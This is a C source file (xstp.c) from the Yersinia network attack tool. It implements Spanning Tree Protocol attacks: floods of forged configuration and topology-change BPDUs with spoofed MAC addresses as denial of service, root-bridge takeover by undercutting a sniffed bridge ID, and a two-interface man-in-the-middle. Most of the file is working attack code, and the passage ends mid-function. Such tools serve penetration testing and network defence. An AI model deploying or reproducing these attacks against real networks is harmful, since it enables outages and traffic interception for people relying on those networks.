Logo Search packages:      
Sourcecode: yersinia version File versions

xstp.c

/* xstp.c
 * Implementation and attacks for Spanning Tree Protocol (Rapid and Multi)
 *
 * Yersinia
 * By David Barroso <tomac@wasahero.org> and Alfredo Andres <slay@wasahero.org>
 * Copyright 2005 Alfredo Andres and David Barroso
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 */

#ifndef lint
static const char rcsid[] = 
       "$Id: xstp.c,v 1.7 2005/09/13 12:10:39 t0mac Exp $";
#endif

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#define _REENTRANT

#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>       

#ifdef HAVE_NETINET_IN_SYSTM_H
#include <netinet/in_systm.h>
#else
#ifdef HAVE_NETINET_IN_SYSTEM_H
#include <netinet/in_system.h>
#endif
#endif

#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <time.h>

#ifdef TIME_WITH_SYS_TIME
#include <sys/time.h>
#endif

#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif

#ifdef HAVE_STRING_H
#include <string.h>
#endif

#ifdef HAVE_STRINGS_H
#include <strings.h>
#endif

#ifdef HAVE_BSTRING_H
#include <bstring.h>
#endif

#ifdef STDC_HEADERS
#include <stdlib.h>
#endif

#ifdef HAVE_PTHREAD_H
#include <pthread.h>
#endif

#ifdef HAVE_GETOPT_LONG_ONLY
#include <getopt.h>
#else
#include "getopt.h"
#endif

#include <stdarg.h>

#include "xstp.h"


void
xstp_register(void)
{
    protocol_register(PROTO_STP, "STP", "Spanning Tree Protocol", sizeof(struct stp_data), 
                  xstp_init_attribs, xstp_learn_packet, xstp_get_printable_packet, xstp_get_printable_store,
          xstp_load_values, xstp_update_data, stp_attack, xstp_help, 
          xstp_parser, xstp_fields, xstp_get_info, xstp_update_field, xstp_features);
}


void
xstp_th_send_bpdu_conf(void *arg)
{
    struct attacks *attacks=NULL;
    sigset_t mask;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->attack_th.finished);

    pthread_detach(pthread_self());

    sigfillset(&mask);

    if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
    {
       thread_error("xstp_send_bpdu_conf pthread_sigmask()", errno);
       xstp_th_send_bpdu_conf_exit(attacks);    
    }

    xstp_send_all_bpdu_conf(attacks);

    xstp_th_send_bpdu_conf_exit(attacks);
}


void
xstp_th_send_bpdu_conf_exit(struct attacks *attacks)
{
    if (attacks)
       attack_th_exit(attacks);

    pthread_mutex_unlock(&attacks->attack_th.finished);
     
    pthread_exit(NULL);
}

int8_t
xstp_send_all_bpdu_conf(struct attacks *attacks)
{
    u_int8_t i;

    for ( i = 0; i < MAX_INTERFACES; i++) 
    {
        if (attacks->used_ints[i] == 1) 
           if (xstp_send_bpdu_conf(attacks->mac_spoofing,(struct stp_data *)(attacks->data),i) < 0)
               return -1;
    }
    
    return 0;
}


int8_t
xstp_send_bpdu_conf(u_int8_t mac_spoofing, struct stp_data *stp_data, u_int8_t i)
{
    libnet_ptag_t t;
    libnet_t *lhandler;
    int32_t sent;

    lhandler = interfaces[i].libnet_handler;

    t = libnet_build_stp_conf(
          stp_data->id,                /* protocol id */
          stp_data->version,           /* protocol version */
          stp_data->bpdu_type,         /* BPDU type */
          stp_data->flags,             /* BPDU flags */
          stp_data->root_id,           /* root id */
          stp_data->root_pc,           /* root path cost */
          stp_data->bridge_id,         /* bridge id */
          stp_data->port_id,           /* port id */
          stp_data->message_age,       /* message age */
          stp_data->max_age,           /* max age */
          stp_data->hello_time,        /* hello time */
          stp_data->forward_delay,     /* forward delay */
          stp_data->rstp_data,         /* payload */
          stp_data->rstp_len,          /* payload size */
          lhandler,                    /* libnet handle */
          0);                          /* libnet id */

    if (t == -1) 
    {
        thread_libnet_error( "Can't build stp header",lhandler);
        libnet_clear_packet(lhandler);
        return -1;
    }  

    t = libnet_build_802_2(
            LIBNET_SAP_STP,             /* DSAP */   
            LIBNET_SAP_STP,             /* SSAP */
            0x03,                       /* control */
            NULL,                       /* payload */  
            0,                          /* payload size */
            lhandler,                   /* libnet handle */
            0);                         /* libnet id */

    if (t == -1) 
    {
        thread_libnet_error("Can't build ethernet header",lhandler);
        libnet_clear_packet(lhandler);
        return -1;
    }  

    t = libnet_build_802_3(
            stp_data->mac_dest,                 /* ethernet destination */
            (mac_spoofing) ? stp_data->mac_source : interfaces[i].etheraddr,
            /* ethernet source */
            LIBNET_802_2_H + LIBNET_STP_CONF_H + stp_data->rstp_len, /* frame size */
            NULL,                               /* payload */
            0,                                  /* payload size */
            lhandler,                           /* libnet handle */
            0);                                 /* libnet id */

    if (t == -1)
    {
        thread_libnet_error("Can't build ethernet header",lhandler);
        libnet_clear_packet(lhandler);
        return -1;
    }

    /*
     *  Write it to the wire.
     */
    sent = libnet_write(lhandler);

    if (sent == -1) {
        thread_libnet_error("libnet_write error", lhandler);
        libnet_clear_packet(lhandler);
        return -1;
    }

    libnet_clear_packet(lhandler);
    protocols[PROTO_STP].packets_out++;
    interfaces[i].packets_out[PROTO_STP]++;
    
    return 0;
}



void
xstp_th_send_bpdu_tcn(void *arg)
{
    struct attacks *attacks=NULL;
    sigset_t mask;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->attack_th.finished);

    pthread_detach(pthread_self());

    sigfillset(&mask);

    if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
    {
       thread_error("xstp_th_send_bpdu_tcn pthread_sigmask()",errno);
       xstp_th_send_bpdu_tcn_exit(attacks);    
    }

    xstp_send_all_bpdu_tcn(attacks);
    
    xstp_th_send_bpdu_tcn_exit(attacks);
}


void
xstp_th_send_bpdu_tcn_exit(struct attacks *attacks)
{
    if (attacks)
       attack_th_exit(attacks);

    pthread_mutex_unlock(&attacks->attack_th.finished);
     
    pthread_exit(NULL);
}

int8_t
xstp_send_all_bpdu_tcn(struct attacks *attacks)
{
    u_int8_t i;

    for ( i = 0; i < MAX_INTERFACES; i++) 
    {
        if (attacks->used_ints[i] == 1)
           if (xstp_send_bpdu_tcn(attacks->mac_spoofing,(struct stp_data *)(attacks->data),i) < 0)
               return -1;
    }
    return 0;
}


int8_t
xstp_send_bpdu_tcn(u_int8_t mac_spoofing, struct stp_data *stp_data, u_int8_t i)
{
    libnet_ptag_t t;
    int32_t sent;
    libnet_t *lhandler;

    lhandler = interfaces[i].libnet_handler;

    t = libnet_build_stp_tcn(
            stp_data->id,             /* protocol id */
            stp_data->version,        /* protocol version */
            stp_data->bpdu_type,      /* BPDU type */
            NULL,                     /* payload */
            0,                        /* payload size */
            lhandler,                 /* libnet handle */
            0);                       /* libnet id */

    if (t == -1) 
    {
        thread_libnet_error( "Can't build stp header",lhandler);
        libnet_clear_packet(lhandler);
        return -1;                
    }  

    t = libnet_build_802_2(
            LIBNET_SAP_STP,          /* DSAP */   
            LIBNET_SAP_STP,          /* SSAP */
            0x03,                    /* control */
            NULL,                    /* payload */  
            0,                       /* payload size */
            lhandler,                /* libnet handle */
            0);                      /* libnet id */
    if (t == -1) 
    {
        thread_libnet_error( "Can't build ethernet header",lhandler);
        libnet_clear_packet(lhandler);
        return -1;
    }  

    t = libnet_build_802_3(
            stp_data->mac_dest,                 /* ethernet destination */
            (mac_spoofing) ? stp_data->mac_source : interfaces[i].etheraddr,
            /* ethernet source */
            LIBNET_802_2_H + LIBNET_STP_TCN_H,  /* frame size */
            NULL,                               /* payload */
            0,                                  /* payload size */
            lhandler,                           /* libnet handle */
            0);                                 /* libnet id */

    if (t == -1)
    {
        thread_libnet_error( "Can't build ethernet header",lhandler);
        libnet_clear_packet(lhandler);
        return -1;
    }

    /*
     *  Write it to the wire.
     */
    sent = libnet_write(lhandler);

    if (sent == -1)
    {
        thread_libnet_error( "libnet_write error",lhandler);
        libnet_clear_packet(lhandler);
        return -1;
    }

    libnet_clear_packet(lhandler);
    protocols[PROTO_STP].packets_out++;
    interfaces[i].packets_out[PROTO_STP]++;
    return 0;
}



/*****************************/
/* Child/Thread loop sending */
/* Hellos every 'Hello Time' */
/*****************************/
void
xstp_send_hellos(void *arg)
{
    int32_t ret, i;
    u_int16_t secs;
    struct timeval hello;
    struct attacks *attacks;
    struct stp_data *stp_data;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->helper_th.finished);

    pthread_detach(pthread_self());
    
    hello.tv_sec  = 0;
    hello.tv_usec = 0;

    attacks = arg;
    stp_data = attacks->data;

    secs = 0;
    i = 0;
    
    write_log(0, "\n helper: %d started...\n", (int)pthread_self());
        
    while(!attacks->helper_th.stop)
    {
        if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 )
              break;

        if ( !ret )  /* Timeout... */
        {
           if (i%4) /* 1 sec!!...*/
           {
              i=0;
              if (secs == (ntohs(stp_data->hello_time)/256) ) /* Send Hellos...*/
              {
                 switch((u_int8_t)stp_data->bpdu_type)
                 {
                    case BPDU_CONF_STP:
                    case BPDU_CONF_RSTP:
                        xstp_send_all_bpdu_conf(arg);
                    break;

                    case BPDU_TCN:
                        xstp_send_all_bpdu_tcn(arg);
                    break;
                 }
                 secs=0;
              }
              else
                 secs++;
           }
           else
              i++;
        } /* if timeout...*/
        hello.tv_sec  = 0;
        hello.tv_usec = 250000;
    } /* while...*/

write_log(0," helper: %d finished...\n",(int)pthread_self());
    
    pthread_mutex_unlock(&attacks->helper_th.finished);
         
    pthread_exit(NULL);
}


/*********************************/
/* DoS attack sending CONF BPDUs */
/* with flag on                  */
/*********************************/
void
xstp_th_dos_conf(void *arg)
{
    struct attacks *attacks=NULL;
    struct stp_data *stp_data;
    sigset_t mask;
#ifdef LBL_ALIGN
    u_int16_t temp;
#endif

    attacks = arg;
    
    pthread_mutex_lock(&attacks->attack_th.finished);

    pthread_detach(pthread_self());

    sigfillset(&mask);

    if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
    {
       thread_error("xstp_th_dos_conf pthread_sigmask()",errno);
       xstp_th_dos_conf_exit(attacks);    
    }

    stp_data = attacks->data;
    stp_data->flags = STP_TOPOLOGY_CHANGE;

    /* some default values for BPDUs conf */
    stp_data->root_pc       = 0;
    stp_data->hello_time    = XSTP_DFL_HELLO_TIME;
    stp_data->forward_delay = XSTP_DFL_FORW_DELAY;
    stp_data->max_age       = XSTP_DFL_MAX_AGE;
    parser_vrfy_mac("01:80:C2:00:00:00", stp_data->mac_dest);

    while(!attacks->attack_th.stop)
    {
        attack_gen_mac(stp_data->mac_source);

#ifdef LBL_ALIGN
            temp = libnet_get_prand(LIBNET_PRu16);
            memcpy((void *)stp_data->bridge_id, (void *)&temp,2);
            
            temp = libnet_get_prand(LIBNET_PRu16);
            memcpy((void *)stp_data->root_id, (void *)&temp,2);
#else
        *((u_int16_t *) (stp_data->bridge_id)) = libnet_get_prand(LIBNET_PRu16);
        *((u_int16_t *) (stp_data->root_id)) = libnet_get_prand(LIBNET_PRu16);
#endif

        memcpy((void *)&stp_data->root_id[2],(void *)&stp_data->mac_source,6);
        memcpy((void *)&stp_data->bridge_id[2],(void *)&stp_data->mac_source,6);
        xstp_send_all_bpdu_conf(attacks);
#ifdef NEED_USLEEP
        usleep(100000);
#endif
    }

    xstp_th_dos_conf_exit(attacks);
}


void
xstp_th_dos_conf_exit(struct attacks *attacks)
{
    if (attacks)
       attack_th_exit(attacks);

    pthread_mutex_unlock(&attacks->attack_th.finished);
     
    pthread_exit(NULL);
}



/********************************/
/* DoS attack sending TCN BPDUs */
/********************************/
void
xstp_th_dos_tcn(void *arg)
{
    struct attacks *attacks=NULL;
    struct stp_data *stp_data;
    sigset_t mask;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->attack_th.finished);

    pthread_detach(pthread_self());

    sigfillset(&mask);

    if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
    {
       thread_error("xstp_th_dos_tcn pthread_sigmask()",errno);
       xstp_th_dos_tcn_exit(attacks);        
    }

    stp_data = attacks->data;

    parser_vrfy_mac("01:80:C2:00:00:00",stp_data->mac_dest);
    stp_data->bpdu_type = BPDU_TCN;

    while(!attacks->attack_th.stop)
    {
        attack_gen_mac(stp_data->mac_source);
        xstp_send_all_bpdu_tcn(attacks);
#ifdef NEED_USLEEP
        usleep(100000);
#endif
    }
    
    xstp_th_dos_tcn_exit(attacks);
}


void
xstp_th_dos_tcn_exit(struct attacks *attacks)
{
    if (attacks)
       attack_th_exit(attacks);

    pthread_mutex_unlock(&attacks->attack_th.finished);
     
    pthread_exit(NULL);
}


/*******************************/
/* NONDoS attack sending BPDUs */
/* claiming root role if RSTP  */
/* or claiming the root bridge */
/* if not RSTP                 */
/*******************************/
void 
xstp_th_nondos_role(void *arg)
{
    struct attacks *attacks=NULL;
    struct stp_data *stp_data;
    struct pcap_pkthdr header;
    struct timeval now;
    u_int8_t flags_tmp;
    u_int8_t *packet=NULL, *stp_conf;
    sigset_t mask;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->attack_th.finished);

    pthread_detach(pthread_self());

    sigfillset(&mask);

    if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
    {
       thread_error("xstp_th_nondos_role pthread_sigmask()",errno);
       xstp_th_nondos_role_exit(attacks);       
    }

    gettimeofday(&now,NULL);
    
    header.ts.tv_sec = now.tv_sec;
    header.ts.tv_usec = now.tv_usec;
    
    stp_data = attacks->data;

    if (xstp_learn_packet(ALL_INTS, &attacks->attack_th.stop,stp_data,&header) < 0)
        xstp_th_nondos_role_exit(attacks);
   
    xstp_decrement_bridgeid(stp_data);

    /* let the thread be created */
    thread_create(&attacks->helper_th.id, &xstp_send_hellos, attacks);

    if ((packet = calloc(1, SNAPLEN)) == NULL)
        xstp_th_nondos_role_exit(attacks);

    while (!attacks->attack_th.stop)
    {
        interfaces_get_packet(&attacks->attack_th.stop, &header, packet, PROTO_STP, NO_TIMEOUT);
        if (attacks->attack_th.stop)
           break;
           
        stp_conf = (packet + LIBNET_802_3_H + LIBNET_802_2_H);

        switch (*(stp_conf+3))
        {
            case BPDU_CONF_STP:
            case BPDU_CONF_RSTP:
                if ( *(stp_conf+3) == STP_TOPOLOGY_CHANGE) {
                    flags_tmp = stp_data->flags;
                    stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK;
                    xstp_send_all_bpdu_conf(arg);
                    stp_data->flags = flags_tmp;
                }
            break;
            case BPDU_TCN:
                flags_tmp = stp_data->flags;
                stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK;
                xstp_send_all_bpdu_conf(arg);
                stp_data->flags = flags_tmp;
            break;
        }
    }

    free(packet);

    xstp_th_nondos_role_exit(attacks);
}


void
xstp_th_nondos_role_exit(struct attacks *attacks)
{
    if (attacks)
       attack_th_exit(attacks);

    pthread_mutex_unlock(&attacks->attack_th.finished);
     
    pthread_exit(NULL);
}



               
/*****************************/
/* Child/Thread loop sending */
/* Hellos every 'Hello Time' */
/*****************************/
void
xstp_send_hellos_mitm(void *arg)
{
    int32_t ret, i;
    u_int16_t secs;
    struct xstp_mitm_args *xstp_mitm_args;
    struct timeval hello;
    struct attacks *attacks;
    struct stp_data *stp_data, *stp_data2;
    struct attack_param *param=NULL;
    u_int8_t iface1, iface2;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->helper_th.finished);

    pthread_detach(pthread_self());
    
    hello.tv_sec  = 0;
    hello.tv_usec = 0;

    xstp_mitm_args = (struct xstp_mitm_args *)arg;
    
    attacks = xstp_mitm_args->attacks;
    stp_data = attacks->data;
    stp_data2 = xstp_mitm_args->stp_data2;
    
    param = attacks->params;
    memcpy((void *)&iface1,param[XSTP_MITM_IFACE1].value,1);
    memcpy((void *)&iface2,param[XSTP_MITM_IFACE2].value,1);

    secs = 0;
    i = 0;
    
    write_log(0,"\n helper: %d started...\n",(int)pthread_self());
        
    while(!attacks->helper_th.stop)
    {
        if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 )
              break;

        if ( !ret )  /* Timeout... */
        {
           if (i%4) /* 1 sec!!...*/
           {
              i=0;
              if (secs == (ntohs(stp_data->hello_time)/256) ) /* Send Hellos...*/
              {
                 switch((u_int8_t)stp_data->bpdu_type)
                 {
                    case BPDU_CONF_STP:
                    case BPDU_CONF_RSTP:
                        xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data,iface1);
                        xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data2,iface2);
                    break;

                    case BPDU_TCN:
                        xstp_send_bpdu_tcn(attacks->mac_spoofing,stp_data,iface1);
                        xstp_send_bpdu_tcn(attacks->mac_spoofing,stp_data2,iface2);
                    break;
                 }
                 secs=0;
              }
              else
                 secs++;
           }
           else
              i++;
        } /* if timeout...*/
        hello.tv_sec  = 0;
        hello.tv_usec = 250000;
    } /* while...*/

write_log(0," helper: %d finished...\n",(int)pthread_self());
    
    pthread_mutex_unlock(&attacks->helper_th.finished);
         
    pthread_exit(NULL);
}



/*******************************/
/* DoS attack sending BPDUs */
/* claiming root role if RSTP  */
/* or claiming the root bridge */
/* if not RSTP                 */
/*******************************/
void 
xstp_th_dos_mitm(void *arg)
{
    struct attacks *attacks=NULL;
    struct attack_param *param;
    struct xstp_mitm_args xstp_mitm_args;
    struct stp_data *stp_data, stp_data2;
    struct pcap_pkthdr header;
    struct timeval now;
    u_int8_t flags_tmp, flags_tmp2;
    u_int8_t *packet=NULL, *stp_conf;
    int8_t iface, iface1, iface2;
    sigset_t mask;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->attack_th.finished);

    pthread_detach(pthread_self());

    sigfillset(&mask);

    if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
    {
      thread_error("xstp_th_dos_mitm pthread_sigmask()",errno);
      xstp_th_dos_mitm_exit(attacks);       
    }

    gettimeofday(&now,NULL);
    
    header.ts.tv_sec = now.tv_sec;
    header.ts.tv_usec = now.tv_usec;

    stp_data = attacks->data;

    xstp_mitm_args.attacks = attacks;
    xstp_mitm_args.stp_data2 = &stp_data2;

    param = attacks->params;
    memcpy((void *)&iface1,param[XSTP_MITM_IFACE1].value,1);
    memcpy((void *)&iface2,param[XSTP_MITM_IFACE2].value,1);


    if (xstp_learn_packet(iface1, &attacks->attack_th.stop, stp_data, &header) < 0)
        xstp_th_dos_mitm_exit(attacks);
    xstp_decrement_bridgeid(stp_data);
   
    memcpy((void *)&stp_data2, (void *)stp_data,sizeof(struct stp_data));
    
    if (xstp_learn_packet(iface2, &attacks->attack_th.stop, &stp_data2, &header) < 0)
        xstp_th_dos_mitm_exit(attacks);
    xstp_decrement_bridgeid(&stp_data2);

    /* let the thread be created */
    thread_create(&attacks->helper_th.id, &xstp_send_hellos, &xstp_mitm_args);

    if ((packet = calloc(1, SNAPLEN)) == NULL)
        xstp_th_dos_mitm_exit(attacks);

    while (!attacks->attack_th.stop)
    {
        iface = interfaces_get_packet(&attacks->attack_th.stop, &header, packet, PROTO_STP, NO_TIMEOUT);
        if ( (iface!=iface1) && (iface!=iface2))
           continue;
           
        if (attacks->attack_th.stop)
           break;
           
        stp_conf = (packet + LIBNET_802_3_H + LIBNET_802_2_H);

        switch (*(stp_conf+3))
        {
            case BPDU_CONF_STP:
            case BPDU_CONF_RSTP:
                if ( *(stp_conf+3) == STP_TOPOLOGY_CHANGE) 
                {
                    if (iface == iface1)
                    {
                       flags_tmp = stp_data->flags;
                       stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK;
                       xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data,iface);
                       stp_data->flags = flags_tmp;
                    }
                    else
                    {
                       flags_tmp2 = stp_data2.flags;
                       stp_data2.flags |= STP_TOPOLOGY_CHANGE_ACK;
                       xstp_send_bpdu_conf(attacks->mac_spoofing,&stp_data2,iface);
                       stp_data2.flags = flags_tmp2;
                    }
                }
            break;
            case BPDU_TCN:
                if (iface ==  iface1)
                {
                    flags_tmp = stp_data->flags;
                    stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK;
                    xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data,iface);
                    stp_data->flags = flags_tmp;
                }
                else
                {
                    flags_tmp2 = stp_data2.flags;
                    stp_data2.flags |= STP_TOPOLOGY_CHANGE_ACK;
                    xstp_send_bpdu_conf(attacks->mac_spoofing,&stp_data2,iface);
                    stp_data2.flags = flags_tmp2;
                
                }
            break;
        }
    }

    free(packet);

    xstp_th_dos_mitm_exit(attacks);
}


void
xstp_th_dos_mitm_exit(struct attacks *attacks)
{
    if (attacks)
       attack_th_exit(attacks);

    pthread_mutex_unlock(&attacks->attack_th.finished);
     
    pthread_exit(NULL);
}




/*******************************/
/* NONDoS attack sending BPDUs */
/* claiming other role         */
/*******************************/
void 
xstp_th_nondos_other_role(void *arg)
{
    struct attacks *attacks=NULL;
    struct stp_data *stp_data;
    struct pcap_pkthdr header;
    struct timeval now;
    sigset_t mask;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->attack_th.finished);

    pthread_detach(pthread_self());

    sigfillset(&mask);

    if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
    {
      thread_error("xstp_th_nondos_role pthread_sigmask()",errno);
      xstp_th_nondos_other_role_exit(attacks);
   }

    stp_data = attacks->data;

    gettimeofday(&now,NULL);
    
    header.ts.tv_sec = now.tv_sec;
    header.ts.tv_usec = now.tv_sec;
    
    if (xstp_learn_packet(ALL_INTS, &attacks->attack_th.stop, stp_data,&header) < 0)
        xstp_th_nondos_other_role_exit(attacks);

    xstp_increment_bridgeid(stp_data);

    /* set a valid root pathcost */
    stp_data->root_pc = 666;

    /* let the thread be created */
    thread_create(&attacks->helper_th.id, &xstp_send_hellos, attacks);
}


void
xstp_th_nondos_other_role_exit(struct attacks *attacks)
{
    if (attacks)
       attack_th_exit(attacks);

    pthread_mutex_unlock(&attacks->attack_th.finished);
     
    pthread_exit(NULL);
}


/* 
 * Get a packet from 'iface' interface, parse the data and copy 
 * it to the 'data' structure.
 * If iface == ALL_INTS ge a packet from any interface 
 */
int8_t
xstp_learn_packet(int8_t iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header )
{
    struct stp_data *stp_data;
    struct libnet_802_3_hdr *ether;
#ifdef LBL_ALIGN
    u_int16_t aux_short;
    u_int32_t aux_long;
#endif    
    u_int8_t *packet, *stp_conf;
    int8_t got_bpdu_conf = 0, iface_learn;

    stp_data = (struct stp_data *)data;
  
    if ((packet = calloc(1, SNAPLEN)) == NULL)
        return -1;

    while (!got_bpdu_conf && ! (*stop) )
    {
        iface_learn = interfaces_get_packet(stop, header, packet, PROTO_STP, NO_TIMEOUT);

        if ( (iface != ALL_INTS) && (iface != iface_learn) )
           continue;
           
        if (*stop)
        {
            free(packet);
            return -1;
        }

        stp_conf = (packet + LIBNET_802_3_H + LIBNET_802_2_H);

        switch (*(stp_conf+3))
        {
            case BPDU_CONF_STP:
            case BPDU_CONF_RSTP:

                got_bpdu_conf = 1;

                ether = (struct libnet_802_3_hdr *) (packet);

                memcpy((void *)stp_data->mac_source, (void *)ether->_802_3_shost, ETHER_ADDR_LEN);
                memcpy((void *)stp_data->mac_dest, (void *)ether->_802_3_dhost, ETHER_ADDR_LEN);

#ifdef LBL_ALIGN
               memcpy((void *)&aux_short,stp_conf,2);
               stp_data->id = ntohs(aux_short);
#else 
               stp_data->id = ntohs(*(u_int16_t *)stp_conf);
#endif

                stp_data->version = *((u_int8_t *)stp_conf+2);

                stp_data->bpdu_type = *((u_int8_t *)stp_conf+3);

                stp_data->flags = *((u_int8_t *)stp_conf+4);

                    memcpy((void *)stp_data->root_id, (void *)(stp_conf+5), 8);

                    memcpy((void *)stp_data->bridge_id, (void *)(stp_conf+17), 8);

#ifdef LBL_ALIGN
                    memcpy((void *)&aux_long,(stp_conf+13),4);
                    stp_data->root_pc = ntohl(aux_long);
#else
                    stp_data->root_pc = ntohl(*(u_int32_t *)(stp_conf+13));
#endif

#ifdef LBL_ALIGN
                    memcpy((void *)&aux_short,(stp_conf+25),2);
                    stp_data->port_id = ntohs(aux_short);
#else
                    stp_data->port_id = ntohs(*(u_int16_t *)(stp_conf+25));
#endif


#ifdef LBL_ALIGN
                    memcpy((void *)&stp_data->message_age,(stp_conf+27),2);
#else
                    stp_data->message_age = *(u_int16_t *)(stp_conf+27);
#endif

#ifdef LBL_ALIGN
                    memcpy((void *)&stp_data->max_age,(stp_conf+29),2);
#else
                    stp_data->max_age = *(u_int16_t *)(stp_conf+29);
#endif

#ifdef LBL_ALIGN
                    memcpy((void *)&stp_data->hello_time,(stp_conf+31),2);
#else
                    stp_data->hello_time = *(u_int16_t *)(stp_conf+31);
#endif

#ifdef LBL_ALIGN
                    memcpy((void *)&stp_data->forward_delay,(stp_conf+33),2);
#else
                    stp_data->forward_delay = *(u_int16_t *)(stp_conf+33);
#endif

                break;

            case BPDU_TCN:
            break;

        } /* switch */

    } /* While got */

    free(packet);

    return 0;
}



/* Decrement the bridge id to win the STP elections :) */
int8_t 
xstp_decrement_bridgeid(struct stp_data *stp_data)
{
    /* Well, we need to be the *TRUE* root id... */
    if ( stp_data->root_id[5] != 0 )
        stp_data->root_id[5]--;
    else
    {
        if ( stp_data->root_id[6] != 0 )
            stp_data->root_id[6]--;
        else
            stp_data->root_id[7]--;
    }            

    /* And we also need to be the *TRUE* bridge id... */
    if ( stp_data->bridge_id[5] != 0 )
        stp_data->bridge_id[5]--;
    else
    {
        if ( stp_data->bridge_id[6] != 0 )
            stp_data->bridge_id[6]--;
        else
            stp_data->bridge_id[7]--;
    }

    /* change our source MAC address to be equal our (sniffed) bridge id */
    memcpy((void *) stp_data->mac_source, (void *)&stp_data->bridge_id[2], 6);

    return 0;
}


int8_t 
xstp_increment_bridgeid(struct stp_data *stp_data)
{
    /* We need to be the a valid bridge id... */
    if ( stp_data->bridge_id[5] != 0 )
        stp_data->bridge_id[5]++;
    else
    {
        if ( stp_data->bridge_id[6] != 0 )
            stp_data->bridge_id[6]++;
        else
            stp_data->bridge_id[7]++;
    }

    /* change our source MAC address to be equal our (sniffed) bridge id */
    memcpy((void *) stp_data->mac_source, (void *)&stp_data->bridge_id[2], 6);

    return 0;
}


/* 
 * Return formated strings of each BPDU field
 */
char **
xstp_get_printable_packet(struct pcap_data *data)
{
    struct libnet_802_3_hdr *ether;
    u_int8_t *stp_data;
#ifdef LBL_ALIGN
    u_int16_t aux_short;
    u_int32_t aux_long;
#endif
     char **field_values;

    if ((field_values = (char **) protocol_create_printable((u_int8_t)XSTP_TOTAL_FIELDS, xstp_fields)) == NULL) {
        write_log(0, "Error in calloc\n");
        return NULL;
    }

    ether = (struct libnet_802_3_hdr *) data->packet;
    stp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2_H);

    /* Source MAC */
    snprintf(field_values[XSTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
          ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2],
          ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]);
    /* Destination MAC */
    snprintf(field_values[XSTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
          ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2],
          ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]);

    /* ID */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_short,stp_data,2);
    snprintf(field_values[XSTP_ID], 5, "%04hX", ntohs(aux_short));
#else
    snprintf(field_values[XSTP_ID], 5, "%04hX", ntohs(*(u_int16_t *)stp_data));
#endif


    /* Version */
    snprintf(field_values[XSTP_VER], 3, "%02X", *((u_int8_t *)(stp_data+2)));
    /* BPDU Type */
    snprintf(field_values[XSTP_TYPE], 3, "%02X", *((u_int8_t *)(stp_data+3)));

      if ((*(u_int8_t *)(stp_data + 3)) != BPDU_TCN) 
      {
            /* Flags */
            snprintf(field_values[XSTP_FLAGS], 3, "%02X", *((u_int8_t *)stp_data+4));
            /* Root ID */
            snprintf(field_values[XSTP_ROOTID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X",
                  *(stp_data+5)&0xFF, *(stp_data+6)&0xFF, *(stp_data+7)&0xFF,
                  *(stp_data+8)&0xFF, *(stp_data+9)&0xFF, *(stp_data+10)&0xFF,
                  *(stp_data+11)&0xFF, *(stp_data+12)&0xFF);
            /* Root Pathcost */
#ifdef LBL_ALIGN
            memcpy((void *)&aux_long,(stp_data+13),4);
            snprintf(field_values[XSTP_PATHCOST], 9, "%08X", (int32_t) ntohl(aux_long));
#else
            snprintf(field_values[XSTP_PATHCOST], 9, "%08X", (int32_t) ntohl(*(int32_t *)(stp_data+13)));
#endif

            /* Bridge ID */
            snprintf(field_values[XSTP_BRIDGEID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X",
                  *(stp_data+17)&0xFF, *(stp_data+18)&0xFF, *(stp_data+19)&0xFF,
                  *(stp_data+20)&0xFF, *(stp_data+21)&0xFF, *(stp_data+22)&0xFF,
                  *(stp_data+23)&0xFF, *(stp_data+24)&0xFF);

            /* Port ID */
#ifdef LBL_ALIGN
            memcpy((void *)&aux_short,(stp_data+25),2);
            snprintf(field_values[XSTP_PORTID], 5, "%04hX", ntohs(aux_short));
#else
            snprintf(field_values[XSTP_PORTID], 5, "%04hX", ntohs(*(u_int16_t *)(stp_data+25)));
#endif

            /* Message age */
